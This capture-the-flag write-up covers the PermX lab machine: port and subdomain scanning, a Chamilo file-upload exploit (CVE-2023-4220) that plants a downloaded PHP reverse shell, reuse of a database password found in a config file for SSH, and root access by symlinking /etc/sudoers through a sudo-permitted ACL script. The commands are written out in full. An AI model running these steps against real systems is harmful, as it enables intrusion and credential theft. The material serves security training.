PermX Writeup
Initial Reconnaissance: Nmap Scan
Before running any scans, I like to store the target machine’s IP address in a file:
1
$ echo "10.129.195.217" >> ip
This way, I can easily retrieve the IP whenever needed using $(cat ip)
.
Let’s run the Nmap scan:
1
$ sudo nmap -sS -sV -sC -p- $(cat ip) -oN nmap/permx.out
Breakdown of the command
-sS
: TCP SYN scan (half-open scan).-sV
: Enable version detection.-sC
: Run default Nmap scripts.-p-
: Scan all 65535 ports.$(cat ip)
: Retrieve the target IP address from theip
file.-oN nmap/permx.out
: Output results tonmap/permx.out
in normal format.
Results
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Nmap 7.94SVN scan initiated Sun Jul 14 19:59:04 2024 as: nmap -sS -sV -sC -oA nmap/PermX 10.129.195.217
Nmap scan report for 10.129.195.217
Host is up (0.016s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_ 256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://permx.htb
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul 14 19:59:11 2024 -- 1 IP address (1 host up) scanned in 7.21 seconds
The results for the scan show two ports open:
22/tcp ssh
80/tcp http
This helps us narrow down the attack surface to the web services and SSH. Considering I don’t have access to the SSH backdoor planted by the NSA, we need to try and get into this machine through the webserver.
1
2
3
4
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://permx.htb
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
we can see that in order to access the webpage, we need to add permx.htb to /etc/hosts.
1
2
$ sudo su
$ echo "$(cat ip) permx.htb" >> /etc/hosts
Testing the domain:
1
2
3
4
5
6
7
8
9
$ ping permx.htb -c 3
PING permx.htb (10.129.195.217) 56(84) bytes of data.
64 bytes from permx.htb (10.129.195.217): icmp_seq=1 ttl=63 time=8.57 ms
64 bytes from permx.htb (10.129.195.217): icmp_seq=2 ttl=63 time=8.48 ms
64 bytes from permx.htb (10.129.195.217): icmp_seq=3 ttl=63 time=8.88 ms
--- permx.htb ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 8.475/8.641/8.884/0.175 ms
Directory and Subdomain Enumeration
After checking the webpage with my browser and finding little of interest, we will enumerate the website’s directories to ensure we aren’t missing anything important.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://permx.htb -o gobuster.out
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://permx.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/img (Status: 301) [Size: 304] [--> http://permx.htb/img/]
/css (Status: 301) [Size: 304] [--> http://permx.htb/css/]
/lib (Status: 301) [Size: 304] [--> http://permx.htb/lib/]
/js (Status: 301) [Size: 303] [--> http://permx.htb/js/]
/server-status (Status: 403) [Size: 274]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================
Unfortunately, Gobuster didn’t yield much useful information, so we’ll proceed with subdomain enumeration using FFuF. I find FFuF to be quite elegant and prefer to use it, although similar results could be achieved with Gobuster.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://permx.htb -H "Host: FUZZ.permx.htb" -fw 18 -o ffuf-subdomain.out
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://permx.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.permx.htb
:: Output file : ffuf-subdomain.out
:: File format : json
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 18
________________________________________________
lms [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 491ms]
www [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 1674ms]
:: Progress: [4989/4989] :: Job [1/1] :: 71 req/sec :: Duration: [0:00:05] :: Errors: 0 ::
The subdomain enumeration revealed two subdomains:
lms.permx.htb
www.permx.htb
This provides us with additional potential entry points to explore.
Chamilo on LMS.permx.htb
Visiting lms.permx.htb
leads us to a Chamilo login portal. Despite enumerating the website further and finding many listed directories, I couldn’t locate any version numbers for Chamilo.
Ultimately, I Googled Chamilo Exploit and discovered a variety of Remote Code Execution (RCE) exploits related to a recent Chamilo vulnerability under CVE-2023-4220.
I settled for this exploit by m3m0o and you can read about how to manually exploit this vulnerability here. In this blog, I won’t cover the automated exploit in detail as it is straightforward.
Successfully Establishing a Connection
Manual exploitation
1
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
Update the IP and port number in the file and upload it to the target using the command below.
1
2
$ curl -F 'bigUploadFile=@reverse-shell.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
The file has successfully been uploaded
Setting up listener with Penelope.py
I’ve been experimenting with Penelope after discovering it in a LinkedIn post. I find it very useful as it automatically upgrades my shell, which simplifies my work.
1
2
3
$ python /opt/penelope/penelope.py
[+] Listening for reverse shells on 0.0.0.0 🚪4444
➤ 💀 Show Payloads (p) 🏠 Main Menu (m) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
Triggering the exploit
To trigger the exploit, navigate to: http://<website>/main/inc/lib/javascript/bigupload/files/
and open the .php
file you just uploaded.
1
2
3
4
5
6
[+] Got reverse shell from 🐧 permx.htb~10.129.195.217 💀 - Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /home/bbzrta/.penelope/permx.htb~10.129.195.217/permx.htb~10.129.195.217.log 📜
www-data@permx:/$
User flag
when the shell spawns, you can see that you are logged in as www-data, lets have a look at /var/www/chamilo
as this is where the learning platform is located.
As I have done boxes like this before, i know that the chances of us finding the right credentials on the box is very high. usually there is a pair of credentials that is used for database configuration, or sometimes the user’s credentials are stored with a breakable hash or even clear case. so i need to comb through all of these files and see if my eye catches anything.
There are three ways we can do this:
- Manually going through the readable files:
- Open and inspect each file for potential credentials.
- Using grep to search for the word “password”:
grep -arin -o -E '(\w+\w){0,5}password(\W+\w){0,5}' .
- Using an automation script like PEASS-ng
- Download and run the PEASS-ng script to automate the search for credentials and other useful information.
Manually going through the readable files
While inspecting the configuration files for Chamilo, we come across
cli-config.php
. Upon further investigation, we see it tries to pull credentials from another file.
- Download and run the PEASS-ng script to automate the search for credentials and other useful information.
1
2
3
4
5
6
7
8
$database = new \Database();
$dbParams = [
'driver' => 'pdo_mysql',
'host' => $_configuration['db_host'],
'user' => $_configuration['db_user'],
'password' => $_configuration['db_password'],
'dbname' => $_configuration['main_database'],
];
It appears these values are sourced from ./app/config/configuration.php
, as evidenced by the following lines of code:
1
2
3
4
5
6
$configurationFile = __DIR__.'/app/config/configuration.php';
if (!is_file($configurationFile)) {
echo "File does not exists: $configurationFile";
exit();
}
Upon examining ./app/config/configuration.php
, we quickly locate the db_user
and db_password
:
1
2
3
4
5
6
7
8
// Database connection settings.
$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3306';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
// Enable access to database management for platform admins.
$_configuration['db_manager_enabled'] = false;
With these credentials, we can potentially access the Chamilo database and further our exploitation efforts.
Attempting to Access the Database
Upon attempting to connect to MySQL, we quickly encounter an “Access Denied” error for the www-data
user, indicating that this user does not have the necessary permissions.
1
2
www-data@permx:~/chamilo$ mysql
ERROR 1698 (28000): Access denied for user 'www-data'@'localhost'
Checking for Other Users
By reviewing the /etc/passwd
file, we notice another user present on the system named mtz
.
1
2
3
www-data@permx:~/chamilo$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
mtz:x:1000:1000:mtz:/home/mtz:/bin/bash
Attempting SSH with Found Credentials
Let’s try to SSH into the mtz
account using the password we discovered in the Chamilo configuration file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ ssh mtz@permx.htb
The authenticity of host 'permx.htb (10.129.195.240)' can't be established.
ED25519 key fingerprint is SHA256:u9/wL+62dkDBqxAG3NyMhz/2FTBJlmVC1Y1bwaNLqGA.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'permx.htb' (ED25519) to the list of known hosts.
mtz@permx.htb's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-113-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
Last login: Mon Jul 1 13:09:13 2024 from 10.10.14.40
mtz@permx:~$
Now that we have successfully logged in as the mtz
user, we can proceed to grab the user flag.
1
2
mtz@permx:~$ ls
user.txt
With access to the mtz
account, we have successfully moved further into the system.
Privilege Escalation
First, let’s check the sudo permissions for the user mtz
:
1
2
3
4
5
6
mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: /opt/acl.sh
From the sudo permissions, we can see that mtz
has unrestricted access to run /opt/acl.sh
without needing a password. Let’s examine the contents of this script to understand its functionality:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
mtz@permx:~$ cat /opt/acl.sh
#!/bin/bash
if [ "$#" -ne 3 ]; then
/usr/bin/echo "Usage: $0 user perm file"
exit 1
fi
user="$1"
perm="$2"
target="$3"
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
/usr/bin/echo "Access denied."
exit 1
fi
# Check if the path is a file
if [ ! -f "$target" ]; then
/usr/bin/echo "Target must be a file."
exit 1
fi
/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
This script modifies the access control list (ACL) of a specified file to change its permissions for a particular user. It only allows changes to files within the /home/mtz
directory and prevents the use of parent directory references (..
).
To exploit this, we can use a technique involving symbolic links. By creating a symbolic link to a directory that the compromised user controls and placing it in their home directory, we can manipulate the permissions of files. Here’s how to replicate this technique:
Root Flag
Create a symbolic link to the sudoers
file:
1
mtz@permx:~$ ln -s /etc/sudoers escalate
Use the /opt/acl.sh
script to change the permissions of the symbolic link:
1
mtz@permx:~$ sudo /opt/acl.sh mtz rw /home/mtz/escalate
Edit the sudoers
file through the symbolic link to grant mtz
root privileges:
1
2
3
mtz@permx:~$ vim escalate
#Inside vim, add the following line to grant mtz root privileges without requiring a password:
mtz ALL=(ALL) NOPASSWD:ALL
Switch to the root user:
1
2
3
4
5
6
7
mtz@permx:~$ sudo su
[sudo] password for mtz:
root@permx:/home/mtz#
root@permx:/home/mtz# cd
root@permx:~# ls
backup reset.sh root.txt
root@permx:~#
By following these steps, you have successfully escalated privileges to root and accessed the root flag. congrats.